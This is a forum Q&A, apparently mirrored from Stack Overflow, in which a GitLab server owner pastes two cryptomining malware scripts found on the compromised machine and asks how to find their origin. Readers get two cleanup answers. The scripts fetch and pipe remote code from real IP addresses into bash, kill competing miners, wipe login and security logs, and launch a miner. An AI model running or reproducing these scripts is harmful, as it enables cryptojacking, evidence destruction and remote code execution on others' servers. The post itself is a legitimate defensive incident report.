How to to trace malware orignation on ubuntu server and stop it-CodePudding

I have a ubuntu server with self hosted giltab-ce and two days ago my server started using 400% CPU. My hosting provider advised me to update my Gitlab (which was version 13.6.1), that I updated to 13.9. Still, periodically, there is some process that is starting running and uses more than all the CPU.

At the beginning, I was thinking this was the issue (because the hosting provider attached this link to the email): https://hackerone.com/reports/1154542

Then I saw that the process name was kdevtmpfsi and followed all answers of this question: kdevtmpfsi using the entire CPU

Still nothing helped, the scripts periodically starts over and over again after a few hours.

In /tmp/.ssh folder I found a redis.sh script with this content:

while true
do
    killall -q -9 kdevtmpfsi
    killall -q -9 kinsing
    killall -q -9 xmrig
    killall -q -9 xmr
    killall -q -9 qwer
    pkill -9 kthreaddk
    pkill -9 kwolker
    pkill -9 mini
    pkill -9 kacpi_notifyd
    pkill -9 vim
    pkill -9 mym
    pkill -9 network
    pkill -9 .libs
    pkill -9 javase
    pkill -9 libexec
    rm -rf /usr/lib/vmware-vsphere-ui/server/postgres
    rm -rf /usr/lib/vmware-vsphere-ui/server/postgres_start.sh
    rm -rf /usr/lib/vmware-vsphere-ui/server/kvm.sh
    rm -rf /usr/lib/vmware-vsphere-ui/server/elastic.sh
    rm -rf $HOME/postgres
    rm -rf $HOME/kvm.sh
    rm -rf $HOME/elastic.sh
    ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kvm.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'elastic.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'xmrig' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'xmr' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kthreaddk' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kthreaddi' | awk '{print $2}' | xargs -i kill -9 {}
    PROC_NAME=/tmp/system
    ProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`
    if [ $ProcNumber -le 0 ];then
        if hash curl 2>/dev/null;then
            curl http://135.125.217.87/stl.sh | bash >/dev/null 2>&1 &
        else
            python -c "import requests;url='http://165.227.239.108/stl.sh';tmp=requests.get(url);open('./static.sh','wb').write(tmp.content)"
            bash ./static.sh >/dev/null 2>&1 &
        fi
        break
    fi
done

I removed that file, created a blank one and gave only read permission.

The user that invokes this process is git. I stopped gitlab and deleted the git user.

Could you please advise me what to do next? What I would like to understand is the process that creates those files and cronjobs.

I'm trying everything but after a few hours the problem returns. What should I look for when it returns next time?

Edit: I found another file that I think is the one that is downloading the one I pasted on top.

dan@dan:~/$ cat stl.sh
rm -rf /var/tmp/*
rm -rf /tmp/*
killall -q -9 /var/tmp/.postgres/*
ps aux | grep -v grep | grep 'runnerbus' | awk '{print $2}' | xargs -i kill -9 {}
rm -rf /var/tmp/.postgres
rm -rf /tmp/.*
rm -rf /var/tmp/.*
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.hourly/oanacrona
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.daily/oanacrona
rm -rf /etc/cron.monthly/oanacroner
rm -rf xmrig-6.13.1/
rm -rf xmrig-6.13.1-linux-x64.tar.gz
rm -rf $HOME/moneroocean/
rm -rf /var/tmp/moneroocean/
rm -rf /root/moneroocean/
rm -rf $HOME/c3pool/
rm -rf /tmp/.tmp/xlog
rm -rf /var/tmp/.postgres
rm -rf /tmp/kwolker
rm -rf /tmp/kdevtmpfsi
rm -rf /tmp/kinsing
rm -rf /tmp/libexec
rm -rf /tmp/mym
rm -rf /usr/bin/kinsing*
rm -rf /etc/cron.d/kinsing*
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres_start/postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
killall -q -9 workrun.sh
killall -q -9 /tmp/kwolker
killall -q -9 /tmp/mym
killall -q -9 xmr
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 minerd
killall -q -9 minerd
killall -q -9 xig
killall -q -9 cpuminer
pkill -9 kworker
pkill -9 kwolker
pkill -9 mym
sleep 1
if hash curl 2>/dev/null;then
    echo "has curl 1"
    curl --progress-bar http://135.125.217.87/static.c -o /tmp/system
else
    echo "haven't curl 1"
    python -c "import requests;url='http://135.125.217.87/static.c';tmp=requests.get(url);open('./system','wb').write(tmp.content)"
fi
chmod  x /tmp/system
mkdir /tmp/.ssh
echo > /var/log/wtmp
echo > /var/log/lastlog
echo >   /var/log/utmp
cat /dev/null >  /var/log/secure
cat /dev/null >  /var/log/message
sed  -i '/107.191.63.34/'d  /var/log/messages
sed -i 's/107.191.63.34/127.0.0.1/g' secure
/tmp/system -o 207.38.87.6:3333 -p $HOSTNAME -k -B --cpu-priority 5 -l /tmp/.ssh/xlog --randomx-1gb-pages >/dev/null 2>&1
sleep 1
if hash curl 2>/dev/null;then
    echo "has curl 2"
    curl http://135.125.217.87/stlalive.sh -o /tmp/.ssh/redis.sh
else
    mkdir /tmp/.ssh
    echo "haven't curl 2"
    python -c "import requests;url='http://135.125.217.87/stlalive.sh';tmp=requests.get(url);open('/tmp/.ssh/redis.sh','wb').write(tmp.content)"
fi
sleep 1
chmod  x /tmp/.ssh/redis.sh
nohup /tmp/.ssh/redis.sh >/dev/null 2>&1 &
rm -rf ./run.sh

I removed this file, created a new file with the same name only readable. Then I stopped all processes from git, removed git user again. Recofigured gitlab. It's 10 hours since no other attack.

CodePudding user response：

I recently had this issue.

Searches if any user is executing any scheduled task.

You can do this using the following command:

for user in $(cut -f1 -d: /etc/passwd); do echo "> User: " $user; crontab -u $user -l; done

If you notice that the git user has a task, check what it is and if it is suspicious, delete it.

You can also check the .bashrc file of the git user and check if there is any line that executes the dbused command.

CodePudding user response：

We also faced with this issue, please update first your GitLab to one of the versions:

13.10.3
13.9.6
13.8.8

After that clean crontab connected with git user and remove all the files owned by git user located in /tmp folder.

Now you can restart the server and it should be fine :)